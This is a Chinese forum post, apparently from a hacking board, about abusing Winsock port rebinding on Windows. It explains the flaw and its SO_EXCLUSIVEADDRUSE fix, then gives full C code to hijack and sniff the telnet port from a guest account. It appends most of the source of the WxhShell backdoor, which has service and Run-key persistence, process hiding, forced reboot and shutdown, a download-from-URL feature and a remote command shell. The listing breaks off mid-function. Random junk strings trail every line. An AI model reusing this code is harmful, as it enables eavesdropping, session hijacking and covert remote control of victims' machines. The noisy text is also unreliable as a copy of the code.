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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Wp3l>:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m!g8@YI  
J|24I4  
  saddr.sin_family = AF_INET; n0pe7/Ai  
VBJ]d|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EIQy?ig86  
nn:pf1  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dRa<,@1"  
:q<%wLs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m4>o E|\  
h_yR$H&tX  
  这意味着什么?意味着可以进行如下的攻击: S(h*\we  
J)|K/W9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gx_e\fe-/  
b.*4RL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @ -d4kg  
\#,#_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "Cj#bUw  
i6 ?JX@I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  guXpHF=  
{OrE1WHB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RsfT Ub)<  
5udoZ >T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 F$ p*G][  
z.HNb$;  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ D}b  
RpP[ymMZJ  
  #include k.[) R@0%  
  #include Bjj^!T/#  
  #include / i2-h  
  #include    7h/Q;P5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +STzG /9#  
  int main() uN3J)@;_  
  { `1<3Hu_  
  WORD wVersionRequested; ,ri--<  
  DWORD ret; 6XK`=ss?  
  WSADATA wsaData; %P,^}h7  
  BOOL val; 4$GRCq5N;  
  SOCKADDR_IN saddr; 91d`LsP  
  SOCKADDR_IN scaddr; V9+"CB^  
  int err; S_VncTIO  
  SOCKET s; -f|^}j?  
  SOCKET sc; B2qq C-hw?  
  int caddsize; +u:O AsR  
  HANDLE mt; "gajBY  
  DWORD tid;   8A u<\~p  
  wVersionRequested = MAKEWORD( 2, 2 ); D K_v{R  
  err = WSAStartup( wVersionRequested, &wsaData ); u!Nfoq&'u  
  if ( err != 0 ) { ]J=)pD rk  
  printf("error!WSAStartup failed!\n"); T4Gw\Z%  
  return -1; xWe1F2nY  
  } vP)~j1  
  saddr.sin_family = AF_INET; Rn_W|"  
   i3&B%JiLX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )K%O/H  
Fd,+(i D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -JhjTA  
  saddr.sin_port = htons(23); =&:f+!1$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rIfGmh%H  
  { T1!Gr!=  
  printf("error!socket failed!\n"); 3=|2Gs?ut  
  return -1; y&=19 A#  
  } "M0l;  
  val = TRUE; ^*ez j1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @:QdCG+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gIM'bA<~  
  { 9.OwH(Ax7  
  printf("error!setsockopt failed!\n"); jy@i(@Z  
  return -1; 9AddF*B  
  } J}_Dpb[L  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R{KIkv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )^>XZ*eK  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t:s q*d  
O0(Q0Ko  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S<]a@9W  
  { 4'hcHdL9   
  ret=GetLastError(); ig _<kj;Vd  
  printf("error!bind failed!\n"); OPt;G,$ta  
  return -1; IgR"eu U  
  } J[Yg]6  
  listen(s,2); CC(*zrOd-  
  while(1) S{(p<%)[  
  { q(tG bhQ  
  caddsize = sizeof(scaddr); P(gVF |J?  
  //接受连接请求  ; zE5(3x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fQy C6C  
  if(sc!=INVALID_SOCKET) g_U~.?Db7  
  { z>p`!-'ID  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VMye5  P  
  if(mt==NULL) ._MAHBx+G  
  { , 64t  
  printf("Thread Creat Failed!\n"); R~5* #r@f  
  break; m_Ac/ct f  
  } Ao,!z  
  } oYh<k  
  CloseHandle(mt); [+MX$y  
  } .i&ZT}v3  
  closesocket(s); $K_YC~  
  WSACleanup(); 2 ssj(Qo  
  return 0; DMcxa.Sd!  
  }   [kuVQ$)  
  DWORD WINAPI ClientThread(LPVOID lpParam) X})Imk7&E  
  { .F$|j1y  
  SOCKET ss = (SOCKET)lpParam; H~dHVQtJZ  
  SOCKET sc; Sa1z,EP  
  unsigned char buf[4096];  e_~fJ  
  SOCKADDR_IN saddr; >AzWM .r  
  long num;  c(V=.+J  
  DWORD val; y-\A@jJC5  
  DWORD ret; <k\H`P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g;!@DVF$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?X#/1X%u:  
  saddr.sin_family = AF_INET; @6 ;oN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bA<AG*  
  saddr.sin_port = htons(23); \aVY>1`  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z'oiyXEE3  
  { b~r{J5x@  
  printf("error!socket failed!\n"); W\qLZuQ  
  return -1; G]mWaA  
  } ImV]}M~_  
  val = 100; h#m:Y~GoF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9sU+IT K4  
  { pgd8`$(Q  
  ret = GetLastError(); ;w6fM  
  return -1; Gl8&FrR  
  } Q-8'?S  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3 IWLBc  
  { %`?;V;{=  
  ret = GetLastError(); ?)' 2l6  
  return -1; 9XoQO9*Q  
  } p>:ef<.i  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G=Hf&l  
  { t `Y!"l  
  printf("error!socket connect failed!\n"); GT'7,+<?N  
  closesocket(sc); Zv|p>q`R2  
  closesocket(ss); 09 39i_  
  return -1; /j' B\,  
  } F?8BS*r_  
  while(1) 'cAc{\)  
  { *j /S4qG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Cl6m$YUt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ) Ab6!"'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q1f=&kGX~  
  num = recv(ss,buf,4096,0); .B'UQ|NR  
  if(num>0) !0ce kSesr  
  send(sc,buf,num,0); Y8%0;!T  
  else if(num==0) |/;U)M  
  break; UK6xkra?#  
  num = recv(sc,buf,4096,0); {eEC:[  
  if(num>0) Oz&+{ c  
  send(ss,buf,num,0); \+iu@C  
  else if(num==0) ms}f>f=  
  break; j1puB  
  } 3duG.iUlL  
  closesocket(ss); zUs~V`0  
  closesocket(sc); `k(u:yGK  
  return 0 ; OQ(D5GR:4  
  } o#xgrMB  
T0`"kjE  
!8Z2X!$m{<  
========================================================== }3f BY@  
-]Q(~'a  
下边附上一个代码,,WXhSHELL 6P~aW  
gwSN>oj &  
========================================================== /Fv/oY  
0%s3Mp6H  
#include "stdafx.h" q]6_ rY.  
I#U>5"%\a  
#include <stdio.h> 2'wr={>W  
#include <string.h> u R\m`  
#include <windows.h> PMgQxM*h  
#include <winsock2.h> IS[Vap:  
#include <winsvc.h> Mlv<r=E  
#include <urlmon.h> )?w&oIj5  
~{kM5:-iw  
#pragma comment (lib, "Ws2_32.lib") / l".}S  
#pragma comment (lib, "urlmon.lib") a-]hW=[  
T&r +G!2  
#define MAX_USER   100 // 最大客户端连接数 N%9h~G  
#define BUF_SOCK   200 // sock buffer r8uqcKfU  
#define KEY_BUFF   255 // 输入 buffer PSTu/^  
y(bsCsV&  
#define REBOOT     0   // 重启 yjEI/9_  
#define SHUTDOWN   1   // 关机 YC]PN5[1!  
D@8jGcz62  
#define DEF_PORT   5000 // 监听端口 b'velj3A  
RT% x&j  
#define REG_LEN     16   // 注册表键长度 V: ^JC>6  
#define SVC_LEN     80   // NT服务名长度 \\ jIl3Z  
;rd6ko  
// 从dll定义API \bhOPK>w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M@|w[ydQG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U~aWG\h#X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )YuRjBcp,"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +}Xr1fr{jw  
*FV0Vy  
// wxhshell配置信息 )ll?-FZ   
struct WSCFG { 7zD- ?%  
  int ws_port;         // 监听端口 BlXX:aZv  
  char ws_passstr[REG_LEN]; // 口令 NB E pM  
  int ws_autoins;       // 安装标记, 1=yes 0=no /ZHO>LNN|  
  char ws_regname[REG_LEN]; // 注册表键名 [?-]PZ  
  char ws_svcname[REG_LEN]; // 服务名 ezp<@'0ZT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !#q{Z>H`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hM~eJv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ><[| G9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U.: sK*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Aj,]n>{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ],n%Xp  
i 'qMi~{  
}; 8QV t, 'I  
< CDA"  
// default Wxhshell configuration z^r |3;  
struct WSCFG wscfg={DEF_PORT, |K%}}g[<e;  
    "xuhuanlingzhe", J"-_{)0lD  
    1, v"rl5x  
    "Wxhshell", vF"c  
    "Wxhshell", 5^yG2&>#  
            "WxhShell Service", K<FKu $=  
    "Wrsky Windows CmdShell Service", `h?LVD'l  
    "Please Input Your Password: ", o,CBA;{P  
  1, hp*<x4%*a"  
  "http://www.wrsky.com/wxhshell.exe", *ksb?|<Ot  
  "Wxhshell.exe" &.zj5*J  
    }; Q:mZ" i5  
Gz ?2b#7v  
// 消息定义模块 L[rpb.'FG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @%c81rv?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j")FaIM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  l^P#kQA  
char *msg_ws_ext="\n\rExit."; c15r':.5  
char *msg_ws_end="\n\rQuit."; "3SWO3-x  
char *msg_ws_boot="\n\rReboot..."; AM'gnP>  
char *msg_ws_poff="\n\rShutdown..."; *8PN!^  
char *msg_ws_down="\n\rSave to "; q/$ GE,"  
\^LWCp,C"  
char *msg_ws_err="\n\rErr!"; r@iASITX  
char *msg_ws_ok="\n\rOK!"; u)v$JpNE  
X(]Zr  
char ExeFile[MAX_PATH]; [B,'=,Hbs  
int nUser = 0; %swR:Bv  
HANDLE handles[MAX_USER]; <s_=-" il  
int OsIsNt; ?4 qkDtm  
BEWro|]cM  
SERVICE_STATUS       serviceStatus; l7z 6i*R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; atyu/+U'}  
1Y#HcW&  
// 函数声明 3[r";Wt#  
int Install(void); Z'Q*L?E8M  
int Uninstall(void); %*kLEA*v  
int DownloadFile(char *sURL, SOCKET wsh); "}@i+oS  
int Boot(int flag); FI8k;4|V  
void HideProc(void); n$4|P O$X  
int GetOsVer(void); <c+K3P'3?  
int Wxhshell(SOCKET wsl); X8b|]Nr  
void TalkWithClient(void *cs); [SkKz>rC  
int CmdShell(SOCKET sock); qgx?"$ Z  
int StartFromService(void); :6Pnie  
int StartWxhshell(LPSTR lpCmdLine); =NZ[${7mq  
D<t~e$H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SauH>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dv , C6t2  
?g3 ]~;#  
// 数据结构和表定义 ]dG\j^e|  
SERVICE_TABLE_ENTRY DispatchTable[] = T1W:>~T5#  
{ b#/i.!:a  
{wscfg.ws_svcname, NTServiceMain}, U]1(&MgV  
{NULL, NULL} \0ov[T N.>  
}; Fnb2.R'+  
$"\O;dp7l  
// 自我安装 *"cD.)]#2  
int Install(void) XKqK<!F  
{ MS*G-C  
  char svExeFile[MAX_PATH]; WhFS2Jl0  
  HKEY key; rQJ"&CapT  
  strcpy(svExeFile,ExeFile); K"\MU  
6):Xzx,  
// 如果是win9x系统,修改注册表设为自启动 l}rS{+:wK  
if(!OsIsNt) { blahi]{Y9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #r<?v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y%Ieg.o  
  RegCloseKey(key); KzphNHd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 02\JzBU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m!O;>D  
  RegCloseKey(key); Yp1bH+/u  
  return 0; gcf6\f}\<  
    } Dx-KMiQ,"(  
  } q+ pOrGh  
} 4Po)xo  
else {  9S1)U$  
tHh HrMxO  
// 如果是NT以上系统,安装为系统服务 c #lPc>0xb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -.iNNM&a  
if (schSCManager!=0) |cDszoT /  
{ 0q,pi qjO  
  SC_HANDLE schService = CreateService MT6/2d  
  ( P`jL]x  
  schSCManager, {Dr@HP/x=s  
  wscfg.ws_svcname, 33K*qaRAD  
  wscfg.ws_svcdisp, +}@ 8p[`)  
  SERVICE_ALL_ACCESS, J!TBREK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .A6lj).:  
  SERVICE_AUTO_START, tmJgm5v  
  SERVICE_ERROR_NORMAL, hoQ7).>  
  svExeFile, BFVAw  
  NULL, ?2#(jZ# 2  
  NULL, 909md|9K3  
  NULL, zl%>`k!>  
  NULL, l! v!hUb+  
  NULL S~NM\[S  
  ); }]+xFj9[>  
  if (schService!=0) yGj.)$1},@  
  { ;o-yQmdh  
  CloseServiceHandle(schService); xHo&[{  
  CloseServiceHandle(schSCManager); Pc_VY>Ty  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JOb MZA$  
  strcat(svExeFile,wscfg.ws_svcname); }BJX/, H,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X!tf#tl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wRtZ `o  
  RegCloseKey(key); /i_ @  
  return 0; rwE%G>Vb  
    } 7N=-Y>$X  
  } z@Hp,|Vy[  
  CloseServiceHandle(schSCManager); -$2kO`|p  
} Hkd^-=]]no  
} ymN!-x8q>'  
yx>_scv,T  
return 1; ycAKK?O*  
} a9U_ug58  
)92r{%N  
// 自我卸载 o[1ylzk}+  
int Uninstall(void) 8K"+,s(%R  
{ bKDA!R2  
  HKEY key; ][;G=oCT  
Kw5Lhc1V  
if(!OsIsNt) { 57,dw-|xi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a%vrt)Gx  
  RegDeleteValue(key,wscfg.ws_regname); nFRsc'VT  
  RegCloseKey(key); 6oD\-H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k`{7}zxS  
  RegDeleteValue(key,wscfg.ws_regname); +q<B.XxkA  
  RegCloseKey(key); 58V[mlW)O0  
  return 0; nBItO~l  
  } XORk!m|  
} 51B lM%  
} >[10H8~bI/  
else { *|#T8t,}n  
G?c-79]U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GV.A+u  
if (schSCManager!=0) I97yt[,Yy  
{ s{bdl[7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (C;I*cv  
  if (schService!=0) HQP}w%8x  
  { [ ho (z30k  
  if(DeleteService(schService)!=0) { .dMVoG5  
  CloseServiceHandle(schService); :9t4s#.  
  CloseServiceHandle(schSCManager); a->3`c  
  return 0; .L6Zm U  
  } .;7> y7$*  
  CloseServiceHandle(schService); -O!/Jv"{,[  
  } rN)V[5R#M  
  CloseServiceHandle(schSCManager); {a(&J6$VE  
} "&.S&=FlI  
} kgdT7  
= u[#2!  
return 1; hr05L<?H  
} J%lgR  
)\uO9PB[O  
// 从指定url下载文件 81LNkE,  
int DownloadFile(char *sURL, SOCKET wsh) X0(tboj#  
{ "es?=  
  HRESULT hr; 4NN$( S-W  
char seps[]= "/"; 7nq3S  
char *token; /Ci*Az P  
char *file; Kf tgOG f  
char myURL[MAX_PATH]; 8T)&`dM6P~  
char myFILE[MAX_PATH]; T:]L/wCj  
BQH}6ueZ  
strcpy(myURL,sURL); !TM*o+;  
  token=strtok(myURL,seps); =3ioQZ^Vz  
  while(token!=NULL) %V9ZyQg%*  
  { <_Z:'~Zp  
    file=token; 7Z ;?b0W  
  token=strtok(NULL,seps); ) rW&c- '  
  } :r#)z4d5  
azQD>  
GetCurrentDirectory(MAX_PATH,myFILE); ev1 W6B-a  
strcat(myFILE, "\\"); L|-98]8>  
strcat(myFILE, file); Q6gt+FKU9  
  send(wsh,myFILE,strlen(myFILE),0); 1923N]b  
send(wsh,"...",3,0); Y6i _!z[V[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G7!W{;@I  
  if(hr==S_OK) xL|;VyD  
return 0; DGW+>\G  
else NA3 \  
return 1; ;V^pL((5J  
@fv}G>t  
} ez]tAW  
<f@"HG l  
// 系统电源模块 zZcnijWb  
int Boot(int flag) {@! Kx`(:  
{ jHN +5=l  
  HANDLE hToken; -HSs^dP`  
  TOKEN_PRIVILEGES tkp; #U8rO;$  
gz2\H}  
  if(OsIsNt) { fXI:Y8T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DejA4XdW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); oi}i\: hI  
    tkp.PrivilegeCount = 1; ~qe%Yq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7dsefNPb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8 C[/dH  
if(flag==REBOOT) { -7J|l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2(5ebe[  
  return 0; 1f",}qe;  
} }_=eT]  
else { su*Pk|6%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'lHdOG  
  return 0; (=D&A<YX  
} lj+u@Z<xA  
  } Zo1,1O  
  else { pym!U@$t  
if(flag==REBOOT) { F}Vr:~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `Al;vVMRO  
  return 0; ctE\ q  
} uqz]J$  
else { SBA?^T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g&/T*L  
  return 0; aQ :5d3m0  
} y.KO :P?5{  
} rZ8`sIWQt  
ODZ|bN0>  
return 1; W9NX=gE4  
} lHgs;>U$  
dy_:-2S  
// win9x进程隐藏模块 =zQN[  
void HideProc(void) %p%%~ewmx  
{ N F)~W#  
dOa%9[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LL:_L<  
  if ( hKernel != NULL ) %*BlWk!Q  
  { 4apL4E"r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); II6CHjW`;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x _c[B4Tw  
    FreeLibrary(hKernel); (5]}5W*  
  } <b,~:9*?  
oudxm[/U  
return; [eTSZjIN7  
} m2AnXY\  
8WnwQ%;m?  
// 获取操作系统版本 |sJSN.8  
int GetOsVer(void) E>l~-PaZY  
{ sQkhwMg  
  OSVERSIONINFO winfo; lg^Z*&(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7uzk p&+:  
  GetVersionEx(&winfo); 9a8cRt6knO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wI(M^8F_Mf  
  return 1; k:7(D_  
  else ;!yQ  
  return 0; Gz .|]:1  
} H%D$(W  
UX7t`l2R  
// 客户端句柄模块 XI^QF;,  
int Wxhshell(SOCKET wsl) 5oAK8I  
{ | Bi!  
  SOCKET wsh; G^ :C+/)  
  struct sockaddr_in client; l\i)$=d&g  
  DWORD myID; ti \wg  
}_ 9Cxji  
  while(nUser<MAX_USER) d3xmtG {i  
{ #ep`nf0x  
  int nSize=sizeof(client); 'inFKy'H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V:y'Qf2M  
  if(wsh==INVALID_SOCKET) return 1; F w?[lS  
`nu''B H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ofs <EQ  
if(handles[nUser]==0) $< JaLS  
  closesocket(wsh); .mR8q+I6  
else <7~'; K  
  nUser++; q<M2,YrbAI  
  } n rjE.+v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a |X a3E  
GWfL  
  return 0; $&=S#_HQS  
} vam;4vyu  
7'Mm205\  
// 关闭 socket $` ""  
void CloseIt(SOCKET wsh) Hl,W=2N  
{ *WuID2cOI  
closesocket(wsh); %KLpig  
nUser--; 2Wdyxj Q  
ExitThread(0); 7<*yS310  
} :=Nz }mUV  
,y#Kv|R  
// 客户端请求句柄 o2F)%TDY  
void TalkWithClient(void *cs) NCDvo bYJ  
{ {z{bY\  
yK=cZw%D  
  SOCKET wsh=(SOCKET)cs; .6Pw|xu`Pw  
  char pwd[SVC_LEN]; 5?x>9C a  
  char cmd[KEY_BUFF]; wfH^<jY)E  
char chr[1]; I`!<9OTBj  
int i,j; 6^`1\ #f  
Vh4X%b$TV  
  while (nUser < MAX_USER) { BI%$c~wS  
H:V2[y8\  
if(wscfg.ws_passstr) { *_d7E   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X9V*UXTc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;>Ib^ov  
  //ZeroMemory(pwd,KEY_BUFF); %V7at7>o  
      i=0; 2fL;-\!y(  
  while(i<SVC_LEN) { 'DCTc&J['  
%iQD /iT5  
  // 设置超时 8)_XJ"9)G  
  fd_set FdRead; fbe[@#:  
  struct timeval TimeOut; MDnua  
  FD_ZERO(&FdRead);  R[D{|K@"  
  FD_SET(wsh,&FdRead); do>wwgr  
  TimeOut.tv_sec=8; GBPo8L"9  
  TimeOut.tv_usec=0; rD 3v$B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <eWf<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZbdZ rE$  
X4~y7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b0Ps5G\ u  
  pwd=chr[0]; 3`DQo%<  
  if(chr[0]==0xd || chr[0]==0xa) { VAHh~Q6 ;e  
  pwd=0; 5@~ Q^r:%  
  break; V2wb%;q  
  } sBT2j~jhJ  
  i++; [M=7M}f;  
    } ig/xv  
cK(C&NK  
  // 如果是非法用户,关闭 socket GjvOM y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N 5lDS  
} Pd_U7&w,5  
8}O lL,fP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); at,XB.}Z]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4O^xY 6m  
8;JWK3Gv  
while(1) { '-Vt|O_Q  
. 1Dg s=|  
  ZeroMemory(cmd,KEY_BUFF); )vE~'W  
t.i 8 2Q  
      // 自动支持客户端 telnet标准   EM(gmWHij  
  j=0; tEvut=k'  
  while(j<KEY_BUFF) { u04kF^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'c9]&B  
  cmd[j]=chr[0]; G[uK-U  
  if(chr[0]==0xa || chr[0]==0xd) { (x;@%:3j$  
  cmd[j]=0; nFHUy9q  
  break; "R;U/+  
  } 8;RUf~q?  
  j++; K0|FY=#2y  
    } d:C'H8  
#A JDWelD  
  // 下载文件 RbOUfD(J4  
  if(strstr(cmd,"http://")) { }C"%p8=HM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V^bwXr4f  
  if(DownloadFile(cmd,wsh)) ?BeiY zg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .ypL=~Rp  
  else $9_xGfx}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ r@zs'N  
  } 6]WAUK%h  
  else { "jKY1* ?  
-b9\=U[  
    switch(cmd[0]) { @=}0`bE  
  l<58A7  
  // 帮助 he;dq)-e9  
  case '?': { +V ;l6D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 61C7.EZZ;  
    break; 4DI8s4fi  
  } 2*;~S4 4  
  // 安装 H)kwQRfu  
  case 'i': { 9<6;Hr,>G  
    if(Install()) P64PPbP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >* f-Wde  
    else pP&7rRhw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O:;w3u7;u  
    break; LM<qT-/qs  
    } l *(8i ^  
  // 卸载 M2,l7  
  case 'r': { -A^_{4X  
    if(Uninstall()) %S960  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&C1Oo}=3  
    else _7Ju  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] vHF~|/-  
    break; dd%6t  
    } P9^Xm6QO  
  // 显示 wxhshell 所在路径 e5ZX   
  case 'p': { 24 'J  
    char svExeFile[MAX_PATH]; z% ?+AM)P  
    strcpy(svExeFile,"\n\r"); @e.C"@G  
      strcat(svExeFile,ExeFile); _$E6P^AQ  
        send(wsh,svExeFile,strlen(svExeFile),0); [Gb. JO}X  
    break; \h/H#j ZJ  
    } ]vUwG--*  
  // 重启 cKca;SNql1  
  case 'b': { r,73C/*&/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RLjc&WhzXu  
    if(Boot(REBOOT)) t%0VJB,Q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yW=::=  
    else { y&$A+peJ1  
    closesocket(wsh); NZ:,ph  
    ExitThread(0); Y.(PiuG$G  
    } %v M-mbX  
    break; {3mRq"e  
    } EHJ.T~X  
  // 关机 ( Y[Q,  
  case 'd': { m]6mGp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L\J;J%fz.  
